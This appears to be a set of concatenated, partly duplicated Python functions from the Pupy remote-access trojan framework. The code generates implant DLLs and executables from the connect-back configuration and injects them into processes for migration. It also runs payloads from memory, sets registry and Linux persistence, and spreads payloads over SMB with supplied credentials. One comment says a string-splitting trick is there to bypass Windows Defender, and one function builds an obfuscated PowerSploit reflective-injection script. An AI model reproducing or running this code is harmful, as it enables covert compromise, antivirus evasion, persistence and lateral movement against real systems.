def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res=self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) logging.info("Address configured is %s:%s for pupy dll..."%(host,port)) logging.info("Looking for process architecture...") logging.info("force x86 is %s"%force_x86_dll) conf = self.module.client.get_conf() if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: dllbuff, tpl, _ = pupygen.generate_binary_from_template(conf, 'windows', arch='x64', shared=True) else: dllbuff, tpl, _ = pupygen.generate_binary_from_template(conf, 'windows', arch='x86', shared=True) logging.info("Creating the pupy dll (%s) in %s locally"%(tpl, self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: #the following powershell line in a txt file is detected by Windows defender #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) #To bypass antivirus detection: dllbuffEncoded = base64.b64encode(dllbuff) w.write('$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)'.format(dllbuffEncoded[0:2], dllbuffEncoded[2:])) logging.info("Uploading pupy dll {0} to {1}".format(self.pupyDLLLocalPath, self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res = self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.debug("Address configured is %s:%s for pupy dll..." % (host, port)) logging.debug("Looking for process architecture...") conf = self.module.client.get_conf() if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: dllbuff, tpl, _ = pupygen.generate_binary_from_template( conf, 'windows', arch='x64', shared=True) else: dllbuff, tpl, _ = pupygen.generate_binary_from_template( conf, 'windows', arch='x86', shared=True) logging.debug("Creating the pupy dll (%s) in %s locally" % (tpl, self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' % (base64.b64encode(dllbuff))) logging.debug("Uploading pupy dll in {0}".format( self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res = self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.info("Address configured is %s:%s for pupy dll..." % (host, port)) logging.info("Looking for process architecture...") logging.info("force x86 is %s" % force_x86_dll) conf = self.module.client.get_conf() if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: dllbuff, tpl, _ = pupygen.generate_binary_from_template( conf, 'windows', arch='x64', shared=True) else: dllbuff, tpl, _ = pupygen.generate_binary_from_template( conf, 'windows', arch='x86', shared=True) logging.info("Creating the pupy dll (%s) in %s locally" % (tpl, self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: #the following powershell line in a txt file is detected by Windows defender #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) #To bypass antivirus detection: dllbuffEncoded = base64.b64encode(dllbuff) w.write( '$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)' .format(dllbuffEncoded[0:2], dllbuffEncoded[2:])) logging.info("Uploading pupy dll {0} to {1}".format( self.pupyDLLLocalPath, self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def linux(self, args): if args.remove: #TODO persistency removal self.error("not implemented for linux") return drop = self.client.remote('persistence', 'drop', False) exebuff, tpl, _ = pupygen.generate_binary_from_template( self.client.get_conf(), self.client.desc['platform'], arch=self.client.arch, shared=args.shared) self.success( "Generating the payload with the current config from {} - size={}". format(tpl, len(exebuff))) drop_path, conf_path, method = drop(exebuff, args.shared) if drop_path and conf_path and method: self.success('Dropped: {} Method: {} Config: {}'.format( drop_path, method, conf_path)) elif method: self.error('Failed: {}'.format(method)) else: self.error('Couldn\'t make service persistent.')
def linux(self, args): manager = self.client.conn.modules['persistence'].DropManager() self.success('Available methods: ' + ', '.join( method for method,state in manager.methods.iteritems() if state is True )) for method, result in manager.methods.iteritems(): if result is not True: self.error('Unavailable method: {}: {}'.format(method, result)) exebuff, tpl, _ = pupygen.generate_binary_from_template( self.client.get_conf(), self.client.desc['platform'], arch=self.client.arch, shared=args.shared ) self.success("Generating the payload with the current config from {} - size={}".format( tpl, len(exebuff))) if args.shared: drop_path, conf_path = manager.add_library(exebuff) else: drop_path, conf_path = manager.add_binary(exebuff) if drop_path and conf_path: self.success('Dropped: {} Config: {}'.format(drop_path, conf_path)) else: self.error('Couldn\'t make service persistent.')
def run(self, args): self.success("looking for configured connect back address ...") payload, tpl, _ = pupygen.generate_binary_from_template( self.client.get_conf(), self.client.desc['platform'], arch=self.client.arch) self.success( "Generating the payload with the current config from {} - size={}". format(tpl, len(payload))) self.success("Executing the payload from memory ...") if self.client.is_windows(): exec_pe(self, "", raw_pe=payload, interactive=False, fork=True, timeout=None, use_impersonation=args.impersonate, suspended_process=args.process) elif self.client.is_linux(): mexec(self, payload, [], argv0='/bin/bash', stdout=False, raw=True, terminate=False) self.success("pupy payload executed from memory")
def linux(self, args): if args.remove: #TODO persistency removal self.error("not implemented for linux") return manager = self.client.conn.modules['persistence'].DropManager() self.success('Available methods: ' + ', '.join( method for method,state in manager.methods.iteritems() if state is True )) for method, result in manager.methods.iteritems(): if result is not True: self.error('Unavailable method: {}: {}'.format(method, result)) exebuff, tpl, _ = pupygen.generate_binary_from_template( self.client.get_conf(), self.client.desc['platform'], arch=self.client.arch, shared=args.shared ) self.success("Generating the payload with the current config from {} - size={}".format( tpl, len(exebuff))) if args.shared: drop_path, conf_path = manager.add_library(exebuff) else: drop_path, conf_path = manager.add_binary(exebuff) if drop_path and conf_path: self.success('Dropped: {} Config: {}'.format(drop_path, conf_path)) else: self.error('Couldn\'t make service persistent.')
def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf): ''' Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded Ready for executing ''' SPLIT_SIZE = 100000 x86InitCode, x86ConcatCode = "", "" code = """ $PEBytes = "" {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """#{1}=x86dll binaryX86 = b64encode( generate_binary_from_template(payload_conf, 'windows', arch='x86', shared=True)[0]) binaryX86parts = [ binaryX86[i:i + SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE) ] for i, aPart in enumerate(binaryX86parts): x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart) x86ConcatCode += "$PEBytes{0}+".format(i) print( colorize("[+] ", "green") + "X86 pupy dll loaded and {0} variables generated".format(i + 1)) script = obfuscatePowershellScript( open( os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()) return obfs_ps_script("{0}\n{1}".format( script, code.format(x86InitCode, x86ConcatCode[:-1])))
def get_payload(module, compressed=True, debug=False, from_payload=None): dllbuff = None if from_payload: with open(from_payload, 'rb') as payload: dllbuff = payload.read() module.success('Precompiled payload: {}'.format(from_payload)) else: conf = module.client.get_conf() dllbuff, _, _ = pupygen.generate_binary_from_template( module.log, conf, 'linux', arch=module.client.arch, shared=True, debug=debug or conf['debug'] ) if not compressed: return dllbuff dllgzbuf = cStringIO.StringIO() gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf) gzf.write(dllbuff) gzf.close() return dllgzbuf.getvalue()
def migrate(module, pid, keep=False, timeout=30): module.client.load_package("pupwinutils.processes") dllbuf=b"" isProcess64bits=False module.success("looking for configured connect back address ...") res=module.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) module.success("address configured is %s:%s ..."%(host,port)) module.success("looking for process %s architecture ..."%pid) arch = None if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits=True arch='x64' module.success("process is 64 bits") else: arch='x86' module.success("process is 32 bits") conf=module.client.get_conf() #uncomment this to debug pupy injected DLL loading #conf['offline_script']=parse_scriptlets(["stdout_to_file,path=C:\\pupy.log"], debug=False) dllbuff, filename, _ = pupygen.generate_binary_from_template( conf, 'windows', arch=arch, shared=True ) module.success("Template: {}".format(filename)) module.success("injecting DLL in target process %s ..."%pid) module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) module.success("DLL injected !") if keep: return module.success("waiting for a connection from the DLL ...") time_end = time.time() + timeout c = False mexit = rpyc.timed(module.client.conn.exit, 5) while True: c = has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") c.pupsrv.move_id(c, module.client) try: try: mexit() except: pass module.success("migration completed") module.client.conn._conn.close() # force the socket to close and clean sessions list except Exception: pass break elif time.time() > time_end: module.error("migration timed out !") break time.sleep(0.5)
def run(self, args): #usefull for bind connection launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address'] newClientConf = self.client.get_conf() listeningAddressPort =None #For Bind mode if self.client.is_windows() and launcherType == "bind": listeningPort = -1 self.info('The current pupy launcher is using a BIND connection on the Windows target.') self.info('It is listening on {0} on the target'.format(addressPort)) self.info('For the duplication, you have to choose another port and it will ' 'listen on this new specific port on the target') self.info("Be careful, you have to choose a port which is not used on the target!") self.info("Be careful to firewall configuration/rules on the target too...") while listeningPort==-1: try: listeningPort = int(input("[?] Give me the listening port to use on the target: ")) except Exception as e: self.warning("You have to give me a valid port. Try again. ({})".format(e)) listeningAddress = addressPort.split(':')[0] listeningAddressPort = "{0}:{1}".format(listeningAddress, listeningPort) self.info("The new pupy instance will listen on {0} on the target".format(listeningAddressPort)) newClientConf = self.client.get_conf() #Modify the listening port on the conf. If it is not modified, #the payload will listen on the same port as the inital pupy launcher on the target newClientConf['launcher_args'][newClientConf['launcher_args'].index("--port")+1] = str(listeningPort) #Delete --oneliner-host argument, not compatible with exe payload for pos, val in enumerate(newClientConf['launcher_args']): if "--oneliner-host" in val: newClientConf['launcher_args'][pos]="" newClientConf['launcher_args'][pos+1]="" self.success("Generating the payload...") payload, tpl, _ = pupygen.generate_binary_from_template( self.log, newClientConf, self.client.desc['platform'], arch=self.client.arch ) self.success("Payload generated with the current config from {} - size={}".format(tpl, len(payload))) self.success("Executing the payload from memory ...") if self.client.is_windows(): exec_pe( self, "", raw_pe=payload, interactive=False, use_impersonation=args.impersonate, suspended_process=args.process, wait=False ) elif self.client.is_linux(): mexec(self, payload, [], argv0='/bin/bash', raw=True) self.success("pupy payload executed from memory") if self.client.is_windows() and launcherType == "bind": self.success( 'You have to connect to the target manually on {0}: ' 'try "connect --host {0}" in pupy shell'.format(listeningAddressPort))
def get_payload(module, compressed=True): dllbuf, _, _ = pupygen.generate_binary_from_template( module.client.get_conf(), 'linux', arch=module.client.arch, shared=True ) if not compressed: return dllbuf dllgzbuf = cStringIO.StringIO() gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf) gzf.write(dllbuf) gzf.close() return dllgzbuf.getvalue()
def get_payload(module, compressed=True): dllbuf, _, _ = pupygen.generate_binary_from_template( module.client.get_conf(), 'linux', arch=module.client.arch, shared=True) if not compressed: return dllbuf dllgzbuf = cStringIO.StringIO() gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf) gzf.write(dllbuf) gzf.close() return dllgzbuf.getvalue()
def run(self, args): self.success("looking for configured connect back address ...") payload, tpl, _ = pupygen.generate_binary_from_template( self.client.get_conf(), self.client.desc['platform'], arch=self.client.arch ) self.success("Generating the payload with the current config from {} - size={}".format(tpl, len(payload))) self.success("Executing the payload from memory ...") if self.client.is_windows(): exec_pe( self, "", raw_pe=payload, interactive=False, fork=True, timeout=None, use_impersonation=args.impersonate, suspended_process=args.process ) elif self.client.is_linux(): mexec(self, payload, [], argv0='/bin/bash', stdout=False, raw=True, terminate=False) self.success("pupy payload executed from memory")
def windows(self, args): exebuff=b"" if args.exe: with open(args.exe,'rb') as f: exebuff=f.read() self.info("loading %s ..."%args.exe) else: #retrieving conn info res=self.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) #generating exe exebuff, tpl, _ = pupygen.generate_binary_from_template( self.client.get_conf(), self.client.desc['platform'], arch=self.client.arch ) self.success("Generating the payload with the current config from {} - size={}".format( tpl, len(exebuff))) remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]))) self.info("uploading to %s ..."%remote_path) #uploading rf=self.client.conn.builtin.open(remote_path, "wb") chunk_size=16000 pos=0 while True: buf=exebuff[pos:pos+chunk_size] if not buf: break rf.write(buf) pos+=chunk_size rf.close() self.success("upload successful") #adding persistency self.info("adding to registry ...") self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path) self.info("registry key added") self.success("persistence added !")
def migrate(module, pid, keep=False, timeout=30, bindPort=None): ''' - bindPort: The port used for listening on the target WHEN the current launcher uses a BIND connection. When the current launcher uses a BIND connection, this session is kept even if keep==False When bindPort!=None and the current launcher uses a REVERSE connection (e.g. connect, auto_proxy), bindPort is not used in this function ''' module.client.load_package("pupwinutils.processes") isProcess64bits = False isBindConnection = False #If current launcher uses a BIND connection, isBindConnection == True module.success("looking for configured connect back address ...") try: res = module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) module.success("address configured is %s:%s ..." % (host, port)) except: if not keep: module.error( "launcher doesn't support connect back host information, disable keep" ) keep = True module.success("looking for process %s architecture ..." % pid) arch = None if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits = True arch = 'x64' module.success("process is 64 bits") else: arch = 'x86' module.success("process is 32 bits") conf = module.client.get_conf() #Manage when current launcher uses a BIND connection (and not a REVERSE connection) if module.client.desc['launcher'] == "bind": isBindConnection = True module.success("the current launcher uses a bind connection") module.success( "the bind port {0} is defined in DLL configuration".format( bindPort)) conf['launcher_args'][conf['launcher_args'].index("--port") + 1] = str(bindPort) dllbuff, filename, _ = pupygen.generate_binary_from_template(module.log, conf, 'windows', arch=arch, shared=True) module.success("Template: {}".format(filename)) module.success("injecting DLL in target process %s ..." % pid) module.client.conn.modules['pupy'].reflective_inject_dll( pid, dllbuff, isProcess64bits) module.success("DLL injected !") if keep or isBindConnection: return module.success("waiting for a connection from the DLL ...") time_end = time.time() + timeout c = False while True: c = has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") c.pupsrv.move_id(c, module.client) module.client.conn.exit() module.success("migration completed") break elif time.time() > time_end: module.error("migration timed out !") break time.sleep(0.5)
def migrate(module, pid, keep=False, timeout=30, bindPort=None, debug=False, from_payload=None): ''' - bindPort: The port used for listening on the target WHEN the current launcher uses a BIND connection. When the current launcher uses a BIND connection, this session is kept even if keep==False When bindPort!=None and the current launcher uses a REVERSE connection (e.g. connect, auto_proxy), bindPort is not used in this function ''' module.client.load_package('pupwinutils.processes') isProcess64bits = False # If current launcher uses a BIND connection, isBindConnection == True isBindConnection = False module.success("looking for process %s architecture ..."%pid) arch = None is_process_64 = module.client.remote('pupwinutils.processes', 'is_process_64') if is_process_64(pid): isProcess64bits = True arch = 'x64' module.success("process is 64 bits") else: arch ='x86' module.success("process is 32 bits") dllbuff = None if from_payload: with open(from_payload, 'rb') as payload: dllbuff = payload.read() keep = True module.success('Precompiled payload: {}'.format(from_payload)) else: conf = module.client.get_conf() #Manage when current launcher uses a BIND connection (and not a REVERSE connection) if module.client.desc['launcher'] not in ('connect', 'auto_proxy'): keep = True module.warning('Enable keep (forced)') if module.client.desc['launcher'] == "bind": isBindConnection = True module.success("the current launcher uses a bind connection") module.success("the bind port {0} is defined in DLL configuration".format(bindPort)) conf['launcher_args'][conf['launcher_args'].index("--port")+1] = str(bindPort) dllbuff, filename, _ = pupygen.generate_binary_from_template( module.log, conf, 'windows', arch=arch, shared=True, debug=debug ) module.success("Template: {}".format(filename)) dllbuff = str(dllbuff) if module.config.getboolean('pupyd', 'alt_header'): module.warning('Using ALT markers') # Use ALT markers to simplify debugging for offt in xrange(0, 1024, 4): if dllbuff[offt:offt+4] == 'PE\0\0': dllbuff = ''.join([ 'HE', dllbuff[2:offt], '\xb5\x00[\xb1', dllbuff[offt+4:] ]) module.success("injecting DLL in target process %s ..."%pid) reflective_inject_dll = module.client.remote( 'pupy', 'reflective_inject_dll', False) reflective_inject_dll( int(pid), dllbuff, bool(isProcess64bits) ) module.success("DLL injected !") if keep or isBindConnection: return module.success("waiting for a connection from the DLL ...") time_end = time.time() + timeout c = False while True: c = has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") c.pupsrv.move_id(c, module.client) module.client.conn.exit() module.success("migration completed") break elif time.time() > time_end: module.error("migration timed out !") break time.sleep(0.5)
def serve(module, payload_config, timeout=DEFAULT_TIMEOUT, host=None, port=445, user=None, domain=None, password=None, ntlm=None, execm='smbexec', arch=None): if arch is None: # Use native arch arch = module.client.arch payload, tpl, _ = generate_binary_from_template(module.log, payload_config, 'windows', arch=arch, shared=True) module.success( "Generating native payload with the current config from {} - size={}". format(tpl, len(payload))) dotnet_payload_path = DotNetPayload( module.log, module.client.pupsrv, payload_config, payload).gen_exe(options='-target:library') dotnet_payload = None if not dotnet_payload_path: module.error(".NET Compilation failed") return with open(dotnet_payload_path, 'rb') as dotnet_payload_obj: dotnet_payload = dotnet_payload_obj.read() unlink(dotnet_payload_path) module.success("Wrapped .NET payload - size={}".format( len(dotnet_payload))) push_payload = None if host is None: module.client.load_package('powerloader') push_payload = module.client.remote('powerloader', 'push_payload', False) else: module.client.load_package('pupyutils.psexec') pupy_smb_exec = module.client.remote('pupyutils.psexec', 'pupy_smb_exec', False) def _push_payload(payload, timeout=90, log_cb=None): return pupy_smb_exec(host, port, user, domain, password, ntlm, payload, execm=execm, timeout=timeout, log_cb=log_cb) push_payload = _push_payload completion = Event() def _power_logger(result, info): hostinfo = '' if host is not None: hostinfo = ' ({})'.format(host) if result is None: module.info('PowerLoader{}: {}'.format(hostinfo, info)) return if result is False: module.error('PowerLoader{}: {}'.format(hostinfo, info)) elif result is True: module.success('PowerLoader{}: {}'.format(hostinfo, info)) if completion: completion.set() cmd, pipename = push_payload(dotnet_payload, timeout=timeout, log_cb=_power_logger) if not cmd or not pipename: module.error('PowerLoader: failed') return None, None module.success( "PowerLoader: Serving payload to pipe={} for {} seconds".format( pipename, timeout)) return cmd, completion
def migrate(module, pid, keep=False, timeout=30): module.client.load_package("pupwinutils.processes") dllbuf=b"" isProcess64bits=False module.success("looking for configured connect back address ...") try: res=module.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) module.success("address configured is %s:%s ..."%(host,port)) except: if not keep: module.error("launcher doesn't support connect back host information, disable keep") keep = True module.success("looking for process %s architecture ..."%pid) arch = None if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits=True arch='x64' module.success("process is 64 bits") else: arch='x86' module.success("process is 32 bits") conf=module.client.get_conf() #uncomment this to debug pupy injected DLL loading #conf['offline_script']=parse_scriptlets(["stdout_to_file,path=C:\\pupy.log"], debug=False) dllbuff, filename, _ = pupygen.generate_binary_from_template( conf, 'windows', arch=arch, shared=True ) module.success("Template: {}".format(filename)) module.success("injecting DLL in target process %s ..."%pid) module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) module.success("DLL injected !") if keep: return module.success("waiting for a connection from the DLL ...") time_end = time.time() + timeout c = False mexit = rpyc.timed(module.client.conn.exit, 5) while True: c = has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") c.pupsrv.move_id(c, module.client) try: try: mexit() except: pass module.success("migration completed") module.client.conn._conn.close() # force the socket to close and clean sessions list except Exception: pass break elif time.time() > time_end: module.error("migration timed out !") break time.sleep(0.5)